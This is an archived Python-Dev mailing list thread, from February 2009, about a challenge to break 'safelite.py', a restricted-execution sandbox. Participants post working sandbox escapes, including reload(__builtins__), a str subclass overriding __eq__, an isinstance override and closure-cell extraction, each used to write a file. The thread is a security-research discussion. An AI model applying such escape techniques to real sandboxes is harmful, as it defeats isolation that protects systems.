Nick Coghlan   |   ncogh...@gmail.com   |   Brisbane, Australia
---
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Woo!

  victor> >>> file('0wn3d', 'w').write('w00t\n')
  victor> Cool. It's a good reason to go to Pycon UK this yeak ;-)

Thank you so much Victor! Please mail/phone me when you are heading to
London and I shall honour the evening out!

Now, how about this adapted version without reload?

I could make life much easier for myself by just removing all builtins
except the fundamental types, but this is way more interesting!!

Please continue the challenge the same as before, but with the new safelite.py

  steven> If you really want people to try and break it, I
  steven> suggest you send it to c.l.py

Done.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
"""
Please try and break this.

On a fresh Python interpreter, do the following:

  >>> from safelite import FileReader

You should now be able to read files as you want...

Now, please try and *write* to a file on the filesystem from within the
interpreter.

Please note that the aim of this isn't to protect Python against segfaults or
exhaustion of resources attacks, so those don't count.

Let me know  or Python-Dev how your experience goes -- whether
this seems to work for you or not. Thanks!

"""

import __builtin__
import sys

from sys import _getframe as get_frame
from types import FunctionType, GeneratorType

__all__ = ['FileReader']

# --
# map funktion attribute names for python versions >= 2.6
# --

FUNCTION_PY26_ATTRS = {
'func_code': '__code__',
'func_globals': '__globals__',
'func_closure': '__closure__'
}

# --
# sekure the interpreter!
# --

def secure_python():
"""Remove insecure variables from the Python interpreter."""

from ctypes import pythonapi, POINTER, py_object

get_dict = pythonapi._PyObject_GetDictPtr
get_dict.restype = POINTER(py_object)
get_dict.argtypes = [py_object]

def dictionary_of(ob):
dptr = get_dict(ob)
if dptr and dptr.contents:
return dptr.contents.value

if sys.version_info >= (3, 0):
py_version = 2
elif sys.version_info >= (2, 6):
py_version = 1
else:
py_version = 0

for attr in FUNCTION_PY26_ATTRS.keys():
if py_version <= 1:
del dictionary_of(FunctionType)[attr]
if py_version >= 1:
del dictionary_of(FunctionType)[FUNCTION_PY26_ATTRS[attr]]

del dictionary_of(type)['__subclasses__']
del dictionary_of(GeneratorType)['gi_frame']

if py_version:
del dictionary_of(GeneratorType)['gi_code']

def secure_python_builtins():
"""Remove dangerous builtins like ``file`` and patch appropriately."""

# thanks Victor Stinner!

for item in ['open', 'file', 'execfile', 'reload']:
del __builtin__.__dict__[item]

def null(*args, **kwargs):
pass

import linecache
linecache.open = FileReader

import site
site.file = FileReader

__builtin__.__import__ = null

# --
# pseudo-klass-like namespase wrapper
# --

class NamespaceContext(type):
"""A Namespace Context metaclass."""

def __call__(klass, __getter):
for name, obj in __getter:
setattr(klass, name, obj)
return type.__call__(klass, __getter)

def __str__(klass):
return 'NamespaceContext%s' % (tuple(klass.__dict__.keys()),)

def _Namespace():

__private_data = {}

def Namespace(*args, **kwargs):
"""Return a Namespace from the current scope or the given arguments."""

class NamespaceObject(tuple):

__metaclass__ = NamespaceContext
__slots__ = ()

def __new__(klass, __getter):
return tuple.__new__(klass, __getter)

ns_items = []; populate = ns_items.append

if args or kwargs:

frame = None

for arg in args:
kwargs[arg.__name__] = arg

for name, obj in kwargs.iteritems():
if isinstance(obj, FunctionType):
populate((name, staticmethod(obj)))
else:
populate((name, obj))

else:

frame = get_frame(1)

for name, obj in frame.f_locals.iteritems():
if isinstance(obj, FunctionType):
if not (name.startswith('_') and not name.startswith('__')):
populate((name, staticmethod(obj)))
elif name.startswith('__') and name.endswith('__'):
populate((name, obj))

d

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner
 wrote:
>> The challenge is simple:
>>
>> * Open a fresh Python interpreter
>> * Do: >>> from safelite import FileReader
>> * You can use FileReader to read files on your filesystem
>> * Now find a way to *write* to the filesystem from your interpreter
>
> Well, the challenge is to get access to a module. And... it's quite simple :-p
>
> $ ./python
 from safelite import FileReader
 __builtins__.file
> Traceback (most recent call last):
>  File "", line 1, in 
> AttributeError: 'module' object has no attribute 'file'
 reload(__builtins__)
> 
 file('0wn3d', 'w').write('w00t\n')

> $ cat 0wn3d
> w00t
>
>> Dinner and drinks on me for an evening -- when you are next in London
>> or I am in your town -- to the first person who manages to break
>> safelite.py and write to the filesystem.
>
> Cool. It's a good reason to go to Pycon UK this yeak ;-)

Tav should have made another stipulation: the attack must not be
trivial to fix. This one seems trivial, e.g. by adding 'reload' to the
list in secure_python_builtins().

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

On Mon, Feb 23, 2009 at 1:36 PM, Guido van Rossum  wrote:
> On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner
>  wrote:
>>> The challenge is simple:
>>>
>>> * Open a fresh Python interpreter
>>> * Do: >>> from safelite import FileReader
>>> * You can use FileReader to read files on your filesystem
>>> * Now find a way to *write* to the filesystem from your interpreter
>>
>> Well, the challenge is to get access to a module. And... it's quite simple 
>> :-p
>>
>> $ ./python
> from safelite import FileReader
> __builtins__.file
>> Traceback (most recent call last):
>>  File "", line 1, in 
>> AttributeError: 'module' object has no attribute 'file'
> reload(__builtins__)
>> 
> file('0wn3d', 'w').write('w00t\n')
>
>> $ cat 0wn3d
>> w00t
>>
>>> Dinner and drinks on me for an evening -- when you are next in London
>>> or I am in your town -- to the first person who manages to break
>>> safelite.py and write to the filesystem.
>>
>> Cool. It's a good reason to go to Pycon UK this yeak ;-)
>
> Tav should have made another stipulation: the attack must not be
> trivial to fix. This one seems trivial, e.g. by adding 'reload' to the
> list in secure_python_builtins().

I take it back, we need to find all the trivial ones too.

BTW Tav, you ought to create a small website for this challenge. A
blog post or wiki page would suffice.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Le Monday 23 February 2009 22:36:47, vous avez écrit :
>  reload(__builtins__)
> (...)
>
> Tav should have made another stipulation: the attack must not be
> trivial to fix.

Why not? Any hole is enough to break a jail. The cracker doesn't care if it's 
trivial to fix or not :-p

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Choosing a best practice solution for Python/extension modules

On Mon, Feb 23, 2009 at 13:23, Nick Coghlan  wrote:

> Brett Cannon wrote:
> > Well, neither do I as your proposed approach below is what I do for
> > warnings.
>
> It's possible I actually had test_warnings.py open in another window
> while writing that example function... ;)
>
> As Steven said, your concerns are precisely why I'm suggesting hiding
> this in a helper function - so people that aren't quite as comfortable
> playing games with sys.modules can still use it to suppress particular
> extension modules when writing tests. Initially for the Python
> regression test suite only, but perhaps eventually in importlib if we're
> happy with the way it works out for us.
>

Sounds like a plan.


>
> Created http://bugs.python.org/issue5354 and assigned it to myself so we
> don't forget about it.


If we do end up going with this approach I am willing to help out with
moving the standard library over.

-Brett
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

> I take it back, we need to find all the trivial ones too.

Agreed!

> BTW Tav, you ought to create a small website for this challenge. A
> blog post or wiki page would suffice.

Done.

http://tav.espians.com/a-challenge-to-break-python-security.html

Please blog/retweet and of course, try the challenge yourselves =)

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

> Could one of you please review:
> 
>   http://codereview.appspot.com/20051
> 
> The patch is a mere 6 lines of code and provides the absolute minimum
> that is needed to secure the Python interpreter!

Unlike Guido, I'm not quite willing to your word for it.

OTOH, the patch looks harmless (with minor corrections). It could
be considered a bug fix for the current set of restricted attributes
(although I do wish somebody would present a design telling what
reflective attributes must be restricted and why; the current
set looks arbitrary)

Regards,
Martin

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

> And, here's a version for Python 2.6+ -- diffed against an svn
> checkout of the current python/trunk:
> 
>   http://codereview.appspot.com/21051/show
> 
> Please review also. Cheers!

No need to provide two versions. Regular back-merging should be
able to deal with that just fine.

Regards,
Martin

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
figured out the other half. I guess you own Ian drinks and me dinner.
:-)

$ python
Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
[GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from safelite import FileReader
>>> class S(str):
...   def __eq__(self, o): print o; return 'r' == o
...
>>> f = FileReader('w00t', S('w'))
r
>>> f.close()
>>>
$ ls -l w00t
-rw-r- 1 guido eng 0 Feb 23 14:50 w00t
$


On Mon, Feb 23, 2009 at 2:41 PM, tav  wrote:
>> I take it back, we need to find all the trivial ones too.
>
> Agreed!
>
>> BTW Tav, you ought to create a small website for this challenge. A
>> blog post or wiki page would suffice.
>
> Done.
>
> http://tav.espians.com/a-challenge-to-break-python-security.html
>
> Please blog/retweet and of course, try the challenge yourselves =)
>
> --
> love, tav
>
> plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Steve Holden

Don't I remember the previous restricted module dying a similar "death
of 1,000 cuts" before it was concluded to be unsafe at any height and
abandoned?

regards
 Steve

Guido van Rossum wrote:
> TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
> figured out the other half. I guess you own Ian drinks and me dinner.
> :-)
> 
> $ python
> Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
> [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
 from safelite import FileReader
 class S(str):
> ...   def __eq__(self, o): print o; return 'r' == o
> ...
 f = FileReader('w00t', S('w'))
> r
 f.close()

> $ ls -l w00t
> -rw-r- 1 guido eng 0 Feb 23 14:50 w00t
> $
> 
> 
> On Mon, Feb 23, 2009 at 2:41 PM, tav  wrote:
>>> I take it back, we need to find all the trivial ones too.
>> Agreed!
>>
>>> BTW Tav, you ought to create a small website for this challenge. A
>>> blog post or wiki page would suffice.
>> Done.
>>
>> http://tav.espians.com/a-challenge-to-break-python-security.html
>>
>> Please blog/retweet and of course, try the challenge yourselves =)
>>


-- 
Steve Holden+1 571 484 6266   +1 800 494 3119
Holden Web LLC  http://www.holdenweb.com/

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Reviving restricted mode?

Hey Martin,

>> The patch is a mere 6 lines of code and provides the absolute minimum
>> that is needed to secure the Python interpreter!
>
> Unlike Guido, I'm not quite willing to your word for it.

You are right. Sorry, I was a bit too enthusiastic and overstated the case.

How about: "it could possibly enable a secured Python interpreter" ?

> OTOH, the patch looks harmless (with minor corrections). It could
> be considered a bug fix for the current set of restricted attributes

Yes, and it is in that light that I would like the patch to be accepted.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Sorry, it wasn't Ian Bicking. I have no idea what made me thing that.
I guess I am not yet an experienced Tweeter. :-( It was Mark Eichin,
CC'ed here.

--Guido

On Mon, Feb 23, 2009 at 2:51 PM, Guido van Rossum  wrote:
> TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
> figured out the other half. I guess you own Ian drinks and me dinner.
> :-)
>
> $ python
> Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
> [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
 from safelite import FileReader
 class S(str):
> ...   def __eq__(self, o): print o; return 'r' == o
> ...
 f = FileReader('w00t', S('w'))
> r
 f.close()

> $ ls -l w00t
> -rw-r- 1 guido eng 0 Feb 23 14:50 w00t
> $
>
>
> On Mon, Feb 23, 2009 at 2:41 PM, tav  wrote:
>>> I take it back, we need to find all the trivial ones too.
>>
>> Agreed!
>>
>>> BTW Tav, you ought to create a small website for this challenge. A
>>> blog post or wiki page would suffice.
>>
>> Done.
>>
>> http://tav.espians.com/a-challenge-to-break-python-security.html
>>
>> Please blog/retweet and of course, try the challenge yourselves =)
>>
>> --
>> love, tav
>>
>> plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
>> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>>
>
>
>
> --
> --Guido van Rossum (home page: http://www.python.org/~guido/)
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

> Don't I remember the previous restricted module dying a similar "death
> of 1,000 cuts" before it was concluded to be unsafe at any height and
> abandoned?

I think you are slightly misremembering. It got cut again and again,
but never died. Then, new-style classes hit an artery, and it bled
to death.

I'm curious how this one fares.

Regards,
Martin
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

  guido> >>> class S(str):
  guido> ...   def __eq__(self, o): print o; return 'r' == o
  guido> [snip]

Very devious -- @eichin and Guido!

You guys get the price for the cutest exploit yet -- but sadly no
dinner or drinks -- that was just for the first crack -- which goes to
Victor =)

  steve> Don't I remember the previous restricted module dying a
  steve> similar "death of 1,000 cuts" before it was concluded
  steve> to be unsafe at any height and abandoned?

Steve, this isn't death by a 1,000 cuts. What's being put forward here
is not a specific implementation -- but rather a specific model of
security (the object capability model) -- which has been proven to be
foolproof.

The question here is whether Python can support that. And, my belief
is that it can.

Besides the really nice __eq__ hack, the other exploits so far are
just an inappropriate setup of the environment -- the trick with
object capability is *ensuring* that unsafe references aren't passed
to untrusted code.

In an earlier version of safelite, I even returned the actual file
object when f.close() was called... oops! But that doesn't invalidate
the model or the possibility of using it in Python.

What would invalidate it is someone finding a way to bypass it
completely in Python and this challenge is an attempt to see if we can
find such a way.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. Löwis"  wrote:
>> Don't I remember the previous restricted module dying a similar "death
>> of 1,000 cuts" before it was concluded to be unsafe at any height and
>> abandoned?
>
> I think you are slightly misremembering. It got cut again and again,
> but never died. Then, new-style classes hit an artery, and it bled
> to death.
>
> I'm curious how this one fares.

FWIW, I am remembering more about how Samuele cracked it. It had to do
with getting the supervisor code to call one of its own functions with
arguments provided by the sandboxed code. Tav's safelite.py doesn't
seem to be directly exploitable that way because (using ctypes hacks)
it *removes* some offending special methods. But that door would be at
least slightly ajar with Tar's proposed patch to Python, as that
doesn't remove the offending attributes (__subclasses__ etc.); it only
forbids them in restricted mode. But this once again enables Samuele's
hack. (Oh if I only could find the link with the actual attack -- it
was quite a bit more devious than attacks linked to so far.)

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Silencing IO errors on del/dealloc?

2009-02-23 Thread Neil Schemenauer

Guido van Rossum  wrote:
> No. Trust me. It is not always possible to strengthen the
> implementation. (At least not until we get rid of the "replace all
> globals with None upon module deletion" rule.)

We should do that.  Trying to do cleanup without globals sucks.  I
updated Armin's patch that's attached to issue #812369.  If we could
get some more people to bang on it then prehaps we can trust it
enough to accept it.  If someone wants to test and needs help, give
me a shout.

  Neil

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Silencing IO errors on del/dealloc?

On Mon, Feb 23, 2009 at 3:33 PM, Neil Schemenauer  wrote:
> Guido van Rossum  wrote:
>> No. Trust me. It is not always possible to strengthen the
>> implementation. (At least not until we get rid of the "replace all
>> globals with None upon module deletion" rule.)
>
> We should do that.  Trying to do cleanup without globals sucks.  I
> updated Armin's patch that's attached to issue #812369.  If we could
> get some more people to bang on it then prehaps we can trust it
> enough to accept it.  If someone wants to test and needs help, give
> me a shout.

So how do you get destructors to run in that case? Or do you just not
run them? Then open files may not be closed and may not even see their
buffer flushed. I'm not happy about that.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread Farshid Lashkari

It seems like some code in safelite passes a file object to
isinstance. By overriding the builtin isinstance function I can get
access to the original file object and create a new one. Here is the
code I used:

from safelite import FileReader

_real_file = None

def _new_isinstance(obj,types):
global _real_file
if _real_file is None and obj.__class__.__name__ == 'file':
_real_file = obj.__class__
return _old_isinstance(obj,types)

_old_isinstance = __builtins__.isinstance
__builtins__.isinstance = _new_isinstance

FileReader('nul')

f = _real_file('foo.txt','w')
f.write('hello')
f.close()

-Farshid


On Mon, Feb 23, 2009 at 12:10 PM, tav  wrote:
> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter
>
> Please note that the aim of this isn't to protect Python against
> crashes/segfaults or exhaustion of resources attacks, so those don't
> count.
>
> I'm keen to know your experiences even if you don't manage to write to
> the filesystem -- and especially if you do!
>
> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.
>
> Good luck and thanks! =)
>
>> If you block __closure__ and __globals__ on function objects you will get a
>> semblance of a private namespace. That way you might (I have not thought
>> this one through like securing the interpreter for embedding) be able to get
>> what you need to safely pass in Python code through the globals of the code
>> being executed.
>
> Brett, this is exactly what I do. You also need to restrict func_code.
> The patch is simply for closing the other loopholes:
> type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
> in a patch of 6 lines of code thanks to Python's existing restricted
> framework in the interpreter.
>
> Please review and accept =)
>
> * http://codereview.appspot.com/20051
> * http://codereview.appspot.com/21051
>
> Thanks!
>
> --
> love, tav
>
> plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | @tav | skype:tavespian
>
> ___
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: 
> http://mail.python.org/mailman/options/python-dev/flashk%40gmail.com
>
>
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

2009-02-23 Thread Antoine Pitrou

Farshid Lashkari  gmail.com> writes:
> 
> It seems like some code in safelite passes a file object to
> isinstance. By overriding the builtin isinstance function I can get
> access to the original file object and create a new one. Here is the
> code I used:

I guess Tav should open a restaurant :-)



___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez écrit :
> It seems like some code in safelite passes a file object to
> isinstance. By overriding the builtin isinstance function I can get
> access to the original file object and create a new one.

Wow, excellent idea!

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Le Tuesday 24 February 2009 00:22:19 tav, vous avez écrit :
>   guido> >>> class S(str):
>   guido> ...   def __eq__(self, o): print o; return 'r' == o
>   guido> [snip]
>
> Very devious -- @eichin and Guido!

mode = str(mode) is not enough to protect FileReader about evil object 
faking "r" string. Example without safelite.py:

class Mode(str):
   def __str(__self):
  return self
   def __eq__(self, x):
  return x == 'r'
mode = Mode('w')
mode = str(mode)
assert mode == 'r'  # ok !
f=open('x', mode)  -> opened in write mode


... hey! The rules (safelite.py) changed one more time! The check on mode is 
now:

if type(mode) is not type(''):
raise TypeError("mode has to be a string.")

Could you keep all versions of safelite.py? (eg. rename new version as 
safelite2.py, safelite3.py, etc.)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

2009-02-23 Thread Greg Ewing


tav wrote:

But that doesn't invalidate
the model or the possibility of using it in Python.


However, there's also the matter of whether it's
*practical* to use the model in Python.

The custom-string exploit illustrates that you have
to be extremely careful what you do with, and
what you assume about, anything given to you by
untrusted code.

How confident is the user of the capability model
going to be that there isn't some other obscure
exploit that he hasn't thought of?

To be able to have confidence in it, a capability
model needs to start with objects having no
capabilities at all, and you deliberately add the
capabilities you want it to have.

But Python objects come by default with a huge
number of capabilities, designed to allow the
programmer to do just about anything he wants
short of wrecking the internals of the interpreter
(wrecking the rest of his computer is fine,
though:-).

And you not only have to think about the
capabilities of the objects that you give to
others, but the capabilities of objects that
others give to you -- and be careful not to
use any of them in a way that could fool you.

So while the model may be theoretically sound,
applying it to Python is not easy to do in a
way that one can have confidence in.

--
Greg
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

On Mon, Feb 23, 2009 at 4:06 PM, Victor Stinner
 wrote:
> Le Tuesday 24 February 2009 00:51:25 Farshid Lashkari, vous avez écrit :
>> It seems like some code in safelite passes a file object to
>> isinstance. By overriding the builtin isinstance function I can get
>> access to the original file object and create a new one.
>
> Wow, excellent idea!

I think in the next version Tav will have to stop the sharing of
__builtins__ between the supervisor and the sandboxed code. There are
too many tricks you can play with this.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Le Monday 23 February 2009 23:41:30, vous avez écrit :
> http://tav.espians.com/a-challenge-to-break-python-security.html
>
> Please blog/retweet and of course, try the challenge yourselves =)

The challenge can be seen as: is it possible to read "secret" in the following 
code without using b.func_code, b.func_globals or b.func_closure:
-
def a():
secret = 42
def b():
print(secret)
return b

b = a()
secret = ???
-


With func_xxx, it's possible to get the secret with:
-
def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

secret = get_cell_value(b.func_closure[0])  # 42
-
Function found at: http://code.activestate.com/recipes/439096/


But how can we get the closure if b.func_closure doesn't exist? Oh, wait! 
What's this: b.__getattribute__...
-
secret = get_cell_value(b.__getattribute__('func_closure')[0])
-


About FileReader, a full exploit:
-
from safelite import FileReader

def get_cell_value(cell):
   return type(lambda: 0)((lambda x: lambda: x)(0).func_code, {}, None, None, 
(cell,))()

# Create 'w' string which is equals to 'r'
class Mode(str):
  def __str__(self):
return self
  def __eq__(self, x):
return x == 'r'
mode = Mode('w')

f = FileReader('0wn3d', 'w')
fileobj = get_cell_value(f.tell.__getattribute__('func_closure')[0])
fileobj.write('twice!\n')
f.close()
-

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! (was: Reviving restricted mode)

Hey all,

  victor> Could you keep all versions of safelite.py?

I took Steven D'Aprano's advice and added a VERSION attribute and
state the latest version on
http://tav.espians.com/a-challenge-to-break-python-security.html

Is that okay?

  antoine> I guess Tav should open a restaurant :-)

Hehe!! Thankfully I only offered to it to the first person *phew!*

  farshid> It seems like some code in safelite passes
  farshid> a file object to isinstance. By overriding the
  farshid> builtin isinstance function I can get access to
  frashid> the original file object and create a new one.

Farshid, this is beautiful!!!

Thank you -- it's very nicely done!!

Do you have a website I could link to from the blog article?

  guido> I think in the next version Tav will have to stop
  guido> the sharing of __builtins__ between the supervisor
  guido> and the sandboxed code. There are too many
  guido> tricks you can play with this.

Done.

The common pattern that arised out of the various
builtins-overriding-hacks is that "safe" code should *never* make
assumptions about the state of the globals. The use of closures seems
to fix this problem with an easily-auditable design pattern.

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Hey Victor,

You definitely got to the heart of the challenge.

> f.tell.__getattribute__('func_closure')

But, have you actually run that code?

Cos that doesn't work here... sorry if I missed something...

-- 
love, tav

plex:espians/tav | t...@espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Le Tuesday 24 February 2009 01:31:55 Victor Stinner, vous avez écrit :
> (...)
> But how can we get the closure if b.func_closure doesn't exist? Oh, wait!
> What's this: b.__getattribute__...
> -
> secret = get_cell_value(b.__getattribute__('func_closure')[0])
> -
> (...)

Before this exploit, I tried to rewrite get_cell_value() to avoid reading 
func_xxx ... but it does work, I always need the closure data to get the 
secret. Anyway, I think that creating executing arbitrary Python bytecode 
have to be blocked!

  compile() have to be removed from __builtins__


Extract of my try to rewrite get_cell_value():

# get code class
c = compile('1', '', 'eval')
code = c.__class__

# get function class
def func():
pass
function = type(func)
function.__dict__.clear()

#  code(argcount, nlocals, stacksize, flags, codestring, constants, names,
#varnames, filename, name, firstlineno, lnotab, freevars, cellvars)
func_code=code(0, 0, 1, 19, '\x88\x00\x00S', (None,), tuple(),
 tuple(), '', 'hack', 3, '\x00\x01', ('fileobj',), tuple())

closure = b.func_closure   # FIXME: Get b closure!?
newread = function(func_code, globals(), func_code.co_name, None, closure)
fileobj = newread()


I'm able to get the code class and so create arbitrary code object, that's 
bad! If the user is unable to create a code object (no more compile()) or to 
get the code of a function, it's fine.


Note: The byteocode is the bytecode of b() in the following code:

def a():
  secret = 42
  def b():
 return secret
  return b()

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
